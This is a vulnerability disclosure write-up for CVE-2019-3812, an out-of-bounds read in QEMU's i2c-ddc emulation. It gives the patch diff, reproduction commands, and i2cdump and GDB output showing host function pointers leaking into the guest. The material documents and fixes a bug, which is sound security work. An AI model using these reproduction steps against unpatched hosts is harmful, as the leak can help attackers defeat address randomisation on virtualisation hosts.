Author: Michael Hanselmann. Updated: April 14, 2019.
QEMU is a virtual machine emulator. In late November 2018 I already found several vulnerabilities in its Media Transfer Protocol emulation. Later in 2018 I found an additional out-of-bounds read in its emulation of Display Data Channel (DDC) via I²C by reading the source code and, after producing proof-of-concept exploits, reported it to the project using responsible disclosure included a patch.
The patch was included in QEMU 4.0. The vulnerability ID is CVE-2019-3812 (Red Hat Bugzilla, Red Hat CVE database). Upstream commit with patch: i2c-ddc: fix oob read.
Reproduced at QEMU v3.1.0-289-gf163448536. The i2c-ddc emulation is vulnerable to an out-of-bound read of up to 128 bytes. An offset is not bounded to the size of an internal buffer of 128 bytes. Patch:
diff --git a/hw/i2c/i2c-ddc.c b/hw/i2c/i2c-ddc.c index be34fe072c..0a0367ff38 100644 --- a/hw/i2c/i2c-ddc.c +++ b/hw/i2c/i2c-ddc.c @@ -56,7 +56,7 @@ static int i2c_ddc_rx(I2CSlave *i2c) I2CDDCState *s = I2CDDC(i2c); int value; - value = s->edid_blob[s->reg]; + value = s->edid_blob[s->reg % sizeof(s->edid_blob)]; s->reg++; return value; }
By default the device is not compiled for the x86_64-softmmu target and needs to be enabled for the purpose of a demonstration:
echo CONFIG_DDC=y >> default-configs/i386-softmmu.mak && \ make
Command used to run QEMU:
./x86_64-softmmu/qemu-system-x86_64 \ -smp 2 -m 600 \ -enable-kvm \ -machine pc,accel=kvm \ -vnc :0,to=99,id=default -serial mon:stdio \ -netdev user,id=user.0 -device e1000,netdev=user.0 \ -netdev user,id=user.1 -device e1000,netdev=user.1 \ -cdrom $HOME/grml64-small_testing_latest.iso \ -device i2c-ddc,address=0x33
I'm using Grml Live Linux although any reasonable distribution will do. Load modules and install I2C programs in guest:
apt-get update && \ apt-get install -y i2c-tools && \ modprobe i2c-piix4 && \ modprobe i2c-dev
Read all values from EDID emulation before applying patch and observe two pointers starting at 0xf0:
# i2cdump -y 0 0x33 b 0 1 2 3 4 5 6 7 8 9 a b c d e f 0123456789abcdef 00: 00 ff ff ff ff ff ff 00 49 14 34 12 00 00 00 00 ........I?4?.... 10: 2a 18 01 04 a5 28 1e 78 06 ee 91 a3 54 4c 99 26 *????(?x????TL?& 20: 0f 50 54 21 08 00 e1 c0 d1 c0 01 01 01 01 01 01 ?PT!?.?????????? 30: 01 01 01 01 01 01 25 20 00 66 41 00 1a 30 00 1e ??????% .fA.?0.? 40: 33 40 93 2e 11 00 00 18 00 00 00 fd 00 32 7d 1e 3@?.?..?...?.2}? 50: a0 78 01 0a 20 20 20 20 20 20 00 00 00 fc 00 51 ?x?? ...?.Q 60: 45 4d 55 20 4d 6f 6e 69 74 6f 72 0a 00 00 00 f7 EMU Monitor?...? 70: 00 0a 00 4a a2 24 29 20 00 00 00 00 00 00 00 1a .?.J?$) .......? 80: 51 00 00 00 00 00 00 00 f0 40 5e d4 67 55 00 00 Q.......?@^?gU.. 90: d0 61 4d d4 67 55 00 00 00 00 00 00 00 00 00 00 ?aM?gU.......... a0: 59 52 ef d0 67 55 00 00 00 00 00 00 00 00 00 00 YR??gU.......... b0: 00 00 00 00 00 00 00 00 9d 53 ef d0 67 55 00 00 ........?S??gU.. c0: d0 40 5e d4 67 55 00 00 00 00 00 00 00 00 00 00 ?@^?gU.......... d0: 51 00 00 00 00 00 00 00 f0 61 4d d4 67 55 00 00 Q.......?aM?gU.. e0: 60 45 5e d4 67 55 00 00 00 00 00 00 00 00 00 00 `E^?gU.......... f0: fa ce d0 d0 67 55 00 00 7a cf d0 d0 67 55 00 00 ????gU..z???gU..
Compare with GDB output and note that there are function addresses accessible via EDID emulation:
(gdb) x/32a s->edid_blob 0x5567d45e4438: 0xffffffffffff00 0x12341449 0x5567d45e4448: 0x781e28a50401182a 0x26994c54a391ee06 0x5567d45e4458: 0xc0e100082154500f 0x10101010101c0d1 0x5567d45e4468: 0x2025010101010101 0x1e00301a00416600 0x5567d45e4478: 0x180000112e934033 0x1e7d3200fd000000 0x5567d45e4488: 0x202020200a0178a0 0x5100fc0000002020 0x5567d45e4498: 0x696e6f4d20554d45 0xf70000000a726f74 0x5567d45e44a8: 0x202924a24a000a00 0x1a00000000000000 0x5567d45e44b8: 0x51 0x5567d45e40f0 0x5567d45e44c8: 0x5567d44d61d0 0x0 0x5567d45e44d8: 0x5567d0ef5259 <property_get_bool> 0x0 0x5567d45e44e8: 0x0 0x5567d0ef539d <property_release_bool> 0x5567d45e44f8: 0x5567d45e40d0 0x0 0x5567d45e4508: 0x51 0x5567d44d61f0 0x5567d45e4518: 0x5567d45e4560 0x0 0x5567d45e4528: 0x5567d0d0cefa <get_uint32> 0x5567d0d0cf7a <set_uint32>
After applying my patch there are no more function pointers to be found:
# i2cdump -y 0 0x33 b 0 1 2 3 4 5 6 7 8 9 a b c d e f 0123456789abcdef 00: 00 ff ff ff ff ff ff 00 49 14 34 12 00 00 00 00 ........I?4?.... 10: 2a 18 01 04 a5 28 1e 78 06 ee 91 a3 54 4c 99 26 *????(?x????TL?& 20: 0f 50 54 21 08 00 e1 c0 d1 c0 01 01 01 01 01 01 ?PT!?.?????????? 30: 01 01 01 01 01 01 25 20 00 66 41 00 1a 30 00 1e ??????% .fA.?0.? 40: 33 40 93 2e 11 00 00 18 00 00 00 fd 00 32 7d 1e 3@?.?..?...?.2}? 50: a0 78 01 0a 20 20 20 20 20 20 00 00 00 fc 00 51 ?x?? ...?.Q 60: 45 4d 55 20 4d 6f 6e 69 74 6f 72 0a 00 00 00 f7 EMU Monitor?...? 70: 00 0a 00 4a a2 24 29 20 00 00 00 00 00 00 00 1a .?.J?$) .......? 80: 00 ff ff ff ff ff ff 00 49 14 34 12 00 00 00 00 ........I?4?.... 90: 2a 18 01 04 a5 28 1e 78 06 ee 91 a3 54 4c 99 26 *????(?x????TL?& a0: 0f 50 54 21 08 00 e1 c0 d1 c0 01 01 01 01 01 01 ?PT!?.?????????? b0: 01 01 01 01 01 01 25 20 00 66 41 00 1a 30 00 1e ??????% .fA.?0.? c0: 33 40 93 2e 11 00 00 18 00 00 00 fd 00 32 7d 1e 3@?.?..?...?.2}? d0: a0 78 01 0a 20 20 20 20 20 20 00 00 00 fc 00 51 ?x?? ...?.Q e0: 45 4d 55 20 4d 6f 6e 69 74 6f 72 0a 00 00 00 f7 EMU Monitor?...? f0: 00 0a 00 4a a2 24 29 20 00 00 00 00 00 00 00 1a .?.J?$) .......?